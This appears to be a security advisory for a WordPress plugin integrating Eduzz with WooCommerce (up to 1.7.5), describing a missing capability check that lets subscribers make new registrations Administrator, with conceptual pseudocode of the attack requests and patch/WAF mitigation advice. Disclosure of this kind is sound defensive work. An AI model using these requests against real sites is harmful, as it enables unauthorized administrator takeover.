Product | Affected Versions
Integração entre Eduzz e Woocommerce plugin for WordPress | Up to and including 1.7.5
How the Exploit Works
The vulnerability stems from a missing capability check on the ‘wep_opcoes’ function of the plugin. This allows an authenticated attacker, with just Subscriber-level access, to edit the default registration role within the plugin’s registration flow to Administrator. Consequently, any user can then create an Administrator account, potentially leading to system compromise or data leakage.
Conceptual Example Code
The following pseudocode demonstrates how this unauthorized data modification might occur:
# Attacker authenticates as a subscriber
auth = authenticate_as_subscriber()
# Attacker changes the default registration role to "Administrator"
response = auth.post("/wp-admin/admin-ajax.php", data={
"action": "wep_opcoes",
"default_role": "Administrator"
})
# Any user can now register as an Administrator
register_as_admin = post("/wp-login.php?action=register", data={
"user_login": "new_admin",
"user_pass": "password",
"role": "Administrator"
})If successful, this would enable the attacker to modify the default registration role, allowing any user to register as an Administrator.
Mitigation Guidance
To mitigate this vulnerability, it is recommended that users apply the latest patch from the plugin vendor, which addresses this security flaw. If the patch cannot be applied immediately, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can detect and prevent unauthorized modification attempts, providing an extra layer of security against potential attacks.
